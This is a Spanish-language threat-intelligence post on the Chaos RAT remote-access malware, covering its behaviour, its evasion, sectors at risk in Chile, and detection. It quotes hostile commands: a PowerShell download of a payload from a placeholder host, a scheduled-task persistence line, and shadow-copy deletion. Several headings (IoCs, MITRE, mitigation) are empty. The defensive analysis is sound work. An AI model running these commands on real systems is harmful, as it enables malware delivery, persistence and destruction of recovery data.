Chaos RAT y TsarBomba: Amenazas Multiplataforma con Tácticas de Evasión Avanzada

Chaos RAT es un malware modular que opera como un backdoor remoto, permitiendo a los atacantes tomar el control de sistemas infectados. Su versatilidad le permite ejecutarse en múltiples plataformas, incluyendo Linux (binarios ELF de 64 bits) y Windows (ejecutables con técnicas de ofuscación).

Su relevancia radica en su capacidad para:

• Evadir detección (baja tasa de detección en algunos motores antivirus).
• Robar credenciales y datos sensibles (acceso a clipboard, WMI, USB).
• Mantener persistencia (modificación de claves de registro, tareas programadas).

Comportamientos maliciosos observados

1. Procesos y comandos maliciosos

• Ejecución de scripts PowerShell para descarga de payloads:

Invoke-WebRequest -Uri "hxxp://malicio[.]site/payload.exe" 
-OutFile "$env:TEMP\update.exe"

(Descarga archivos adicionales desde C2). 

• Uso de schtasks.exe para persistencia:

schtasks /create /tn "UpdateTask" /tr 
"C:\Temp\malware.exe" /sc hourly /f 

(Crea tareas automatizadas para ejecutar el malware periódicamente).

• Eliminación de copias de sombra (Shadow Copies):

vssadmin delete shadows /all /quiet  

(Bloquea la recuperación de datos ante un posible ransomware).

• Acceso al portapapeles (clipboard):

  Monitorea y roba información copiada (credenciales, criptomonedas).

2. Técnicas de evasión

• Ocultamiento en procesos legítimos:

  • Ejecución como svchost.exe falsificado.

  • Uso de msbuild.exe para cargar código malicioso.

• Detección de entornos de análisis (sandbox):

  • Verifica herramientas de depuración y máquinas virtuales.

TTPs según MITRE ATT&CK

Proyección en Chile: ¿Qué esperar?

• Sectores en riesgo:

  • Banca y fintech (robo de credenciales).

  • Retail (ataques a POS con acceso a USB).

  • Gobierno (infección mediante adjuntos phishing).

• Vectores de infección:

  • Correos phishing con archivos ZIP/ISO.

  • Explotación de servicios expuestos (RDP, SSH).

Detección

¿Cómo detectarlo?

• Firewall/IDS:

  • Alertar conexiones a puertos inusuales (8080, 4433, 7777).

  • Regla Sigma: Communication To Uncommon Destination Ports.

• EDR/SIEM:

  • Monitorear creación de tareas sospechosas (schtasks.exe /create).

  • Buscar procesos PowerShell con parámetros ofuscados.

• Análisis forense:

  • Verificar modificaciones en claves de registro Run y TaskCache.

Conclusión

Chaos RAT es una amenaza polimórfica que combina evasión, persistencia y robo de datos. Su impacto en una organización puede ir desde el espionaje hasta el ransomware. La detección temprana mediante reglas Sigma y la aplicación de controles proactivos (EDR, GPO, segmentación de red) son claves para neutralizarlo.

¿Estás preparado para detectarlo antes de que sea demasiado tarde? 🔍

Indicadores de Compromiso (IoCs)

Recomendaciones de Mitigación